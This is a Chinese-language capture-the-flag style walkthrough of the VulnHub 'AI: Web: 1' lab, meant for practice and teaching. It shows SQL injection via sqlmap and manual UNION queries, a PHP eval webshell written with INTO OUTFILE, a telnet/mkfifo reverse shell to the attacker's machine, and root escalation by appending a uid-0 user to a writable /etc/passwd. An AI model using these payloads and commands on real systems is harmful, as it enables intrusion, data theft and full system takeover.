# 前言
单纯是应要求找 sql 注入 getshell 的靶机,所以找到了一个这样的靶机,简单的记录一下
# 靶机介绍
难度:中级
网络:DHCP(自动分配)
网络模式:NAT
该框旨在测试渗透测试人员的技能。目标很简单。从 /root/flag.txt 获取标志。 枚举框,获取低特权 shell,然后将权限升级到 root
- DHCP 服务:已启用
- IP 地址:自动分配
靶机地址:AI: Web: 1 ~ VulnHub
目标:获取 root 权限,拿到 flag
# 环境搭建
将文件下载下来后解压进入相关目录
然后点击 AI-WEB-1.0.vmx 选择使用 VM 打开即可
环境搭建成功后展示下图所示的页面
# 攻击流程
信息收集 |
# 信息收集
这里使用 kali 上自带的 arp-scan 工具来进行一个主机发现
sudo arp-scan -l |
这里可以看到主机 192.168.10.164 存活,其他的 ip 是 kali 其他服务所需 ip,这里不用管。接着对目标主机进行一个 ip 端口扫描
nmap -p- 192.168.10.164 |
这里可以看到只开放了一个 80 端口,这里已经可以看到是一个 http 服务,进一步进行一个协议的发现
nmap -p80 -sV 192.168.10.164 |
到这里就可以确定他是一个 Apache 协议开放的一个 httpd 服务,这里直接去访问查看一下
可惜的是网站的根目录并没有什么有用的信息,所以这里需要进一步的信息收集
dirsearch -u http://192.168.10.164/ |
这里能发现的只有 robots.txt 文件,所以这里直接去访问这个文件
这里可以看到给了两个目录,这里直接去尝试去访问两个目录
这里没有都返回 403,无权限访问,所以很显然这里需要进一步的目录爆破
dirsearch -u http://192.168.10.164/se3reTdir777/ |
这里扫描到了一个 index.php,这里直接去访问
dirsearch -u http://192.168.10.164/m3diNf0/ |
这里可以看见在 m3diNf0 目录下有一个 info.php 文件,一般这种文件都是用来展示一些信息的,这里也是直接去访问
这里简单的翻了一下
在这里有网站根目录的路径
/home/www/html/web1x443290o2sdf92213 |
但是这里目前并没有太大的作用
# sql 注入
然后我们将目光放回到前面 se3reTdir777 目录下的 index.php
这里可以看到它只有一个提交窗口,这里提交一个 1
将 id 为 1 的用户查询了出来,很显然这里可能存在 sql 注入漏洞,这里直接提交一个单引号
这个报错很显然闭合方式是单引号闭合
1' and 1=1# |
这里使用这个语句可以看到成功执行,前面的判断正确的,这里抓包看一下它提交数据的地方,这里我使用的是 kali,考虑到有些同学没有使用过 kali 的 burp 这里简单说一下浏览器改代理的地方
打开浏览器的设置
这里直接搜索 proxy,然后点击 setting
如上图配置即可,然后抓包
这里可以看到其是用 post 提交了 uid 和 Operation 两个参数
# sqlmap
这里我直接使用 sqlmap
sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit" --dbs |
这里可以看到有一一个数据库 aiweb1,这里接着查表
sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 --tables |
这里可以分别看一下两个表中的数据,先看 user 表
sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T user --dump |
这个数据是在 web 页面输入数字就可以直接拿到的,很显然没有什么太大的作用,这里看另一个表 systemUser
sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T systemUser --dump |
这里有几个选项稍微注意一下,这个字典选着一即可,其他的都直接回车
这里拿到三个密码,是用 base64 编码后的,这里依次解码后发现都不是有用的密码
数据库中都不能拿到有用的信息,这里查看当前用户的权限
sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit" --privileges |
可以看到他是有一个文件操作权限的,所以这里直接使用 --os-shell 参数
sqlmap -u "http://192.168.10.164/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell |
这里是一个 php 的服务,所以这里直接回车默认即可
这里文件位置选择 2 自定义,因为前面在 info.php 文件中可以看到,他的目录十分复杂不是常规的目录,所以这里需要我们自定义木马存放目录
但是在网站更目录没有写的权限,这里写前面的 upload 目录
/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/
这里就拿到了一个 shell
# 反弹 shell
这里反弹 shell
mkfifo /tmp/test;telnet 192.168.10.161 2333 0</tmp/test|/bin/sh > /tmp/test |
在 kali 上开启一个端口监听
nc -lvp 2333 |
简单说明一下这个命令
- 创建一个名为
/tmp/test
的命名管道(FIFO)。 - 使用
telnet
命令连接到192.168.10.161
的2333
端口。 telnet
的输入(stdin)被重定向为来自/tmp/test
的数据。telnet
的输出(stdout 和 stderr)被重定向到/tmp/test
,这样你可以在本地读取远程服务器的响应。- 在远程服务器上运行
/bin/sh
,这将创建一个交互式 Shell 连接,你可以通过telnet
进行控制
# 手工注入
前面已经判断出来了是单引号闭合,接下来判断字段数
1'+order+by+3# | |
1'+order+by+4# |
这里可以看见 3 能够正常回显,4 出现了报错,所以这里字段数为 3,然后判断回显点
1'+union+select+user(),user(),user()# |
三个字段都可以回显数据,所以这里哪个都行,接下来直接通过联合查询来获取数据
0'+union+select+(select+group_concat(table_name)+from+information_schema.tables+where+table_schema=database()),user(),user()# |
这里可以看到和前面使用 sqlmap 跑出来的结果是一样的
0'+union+select+(select+group_concat(column_name)+from+information_schema.columns+where+table_name='user'),user(),user()# |
0'+union+select+(select+group_concat(firstName)+from+user),user(),user()# |
这里可以看见已经拿到了表中的数据,这里查询数据仅做演示,所以另一个表不在演示
0'+union+select+1,'<?php+eval($_POST["a"]);?>',3+into+outfile+"/home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/shell.php"# |
然后去访问 uploads 下面的 shell.php
这样就是已经写进去了,这里抓包
# 反弹 shell
system("mkfifo+/tmp/test;telnet+192.168.10.161+2333+0</tmp/test|/bin/sh+>+/tmp/test"); |
这里也是成功拿到一个 shell
# 提权
前面用工具和手工两种方式拿到了一个基础权限,先用 python 升级一下终端
python -c "import pty;pty.spawn('/bin/bash')" |
这个 Python 命令用于在一个终端中生成一个交互式的 Bash Shell。它利用了 Python 的 pty
模块来生成一个伪终端(pseudo-terminal),然后在该伪终端上运行 /bin/bash
,从而创建一个交互式的 Bash Shell。
使用命令: uname -a
当前内核版本
但是没有找到相关的漏洞利用脚本
这里使用 sudo -l 想要查看相关配置,但是发现需要当前用户的密码
很显然这个思路是不行的,在后面查看各个文件想要提权,后来发现了这个 etc/passwd 这个文件所有者和所属组都是当前用户
这个文件中其中包含了登录 Linux 系统所必需的每个用户的信息。它保存用户的有用信息,这里修改这个文件生成一个新的有 root 权限的用户即可,先使用 openssl 来生成一个新用户
openssl passwd -1 -salt c1own 123456 |
echo 'c1own:$1$c1own$qlOWeZiMWiTqcetiPOx8V0:0:0::/root:/bin/bash' >> /etc/passwd |
然后 su 到 c1own 用户
然后直接打开 flag